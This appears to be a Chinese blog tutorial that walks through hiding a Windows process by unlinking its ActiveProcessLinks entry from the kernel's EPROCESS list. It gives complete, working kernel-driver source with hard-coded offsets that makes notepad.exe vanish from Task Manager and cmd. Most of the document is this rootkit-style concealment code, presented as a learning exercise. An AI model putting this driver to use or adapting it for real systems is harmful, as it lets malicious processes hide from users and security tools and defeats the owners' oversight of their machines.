截止到昨天那里我们的思路就清晰了,通过EPROCESS
找到我们要隐藏的进程的ActiveProcessLinks
,将双向链表的值修改,就可以将我们想要隐藏的这个进程的ActiveProcessLinks
从双向链表中抹去的效果,这里的话如果在windbg里面直接使用ed
修改的话是比较方便的,但是如果要使用代码来进行修改的话就需要首先定位到EPROCESS
在ETHREAD
的0x220
偏移得到ThreadsProcess
,指向的是_EPROCESS
这个结构体
那么就可以用汇编实现找到EPROCESS
结构
__asm
{
mov eax, fs: [0x124] ;
mov eax, [eax + 0x220];
mov pEprocess, eax;
}
首先定义一个指针指向EPROCESS
结构,并初始化指向ActiveProcessLinks
的指针
pCurProcess = pEprocess;
curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88);
然后判断通过EPROCESS
的0x174处的ImageFileName
来判断进程名是不是我们想要隐藏的进程
ImageFileName = (PCHAR)pCurProcess + 0x174;
if (strcmp(ImageFileName, "notepad.exe") == 0)
如果是我们想要隐藏的进程就执行断链操作
curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88);
nextNode = curNode->Flink;
preNode = curNode->Blink;
preNode->Flink = curNode->Flink;
nextNode->Blink = curNode->Blink;
如果不是我们想要的进程就继续往下取ActiveProcessLinks
的值
pCurProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurProcess + 0x88) - 0x88);
完整代码如下
#include <ntddk.h>
NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path);
VOID DriverUnload(PDRIVER_OBJECT driver);
NTSTATUS DriverEntry(PDRIVER_OBJECT driver, PUNICODE_STRING reg_path)
{
PEPROCESS pEprocess, pCurProcess;
PCHAR ImageFileName;
__asm
{
mov eax, fs: [0x124] ;
mov eax, [eax + 0x220];
mov pEprocess, eax;
}
pCurProcess = pEprocess;
do
{
ImageFileName = (PCHAR)pCurProcess + 0x174;
if (strcmp(ImageFileName, "notepad.exe") == 0)
{
PLIST_ENTRY preNode, curNode, nextNode;
curNode = (PLIST_ENTRY)((ULONG)pCurProcess + 0x88);
nextNode = curNode->Flink;
preNode = curNode->Blink;
preNode->Flink = curNode->Flink;
nextNode->Blink = curNode->Blink;
DbgPrint("断链成功!\n");
}
pCurProcess = (PEPROCESS)(*(PULONG)((ULONG)pCurProcess + 0x88) - 0x88);
} while (pEprocess != pCurProcess);
driver->DriverUnload = DriverUnload;
return STATUS_SUCCESS;
}
VOID DriverUnload(PDRIVER_OBJECT driver)
{
DbgPrint("驱动卸载成功\n");
}
实现效果如下
安装驱动之后在任务管理器跟cmd里面都已经看不到notepad.exe
这个进程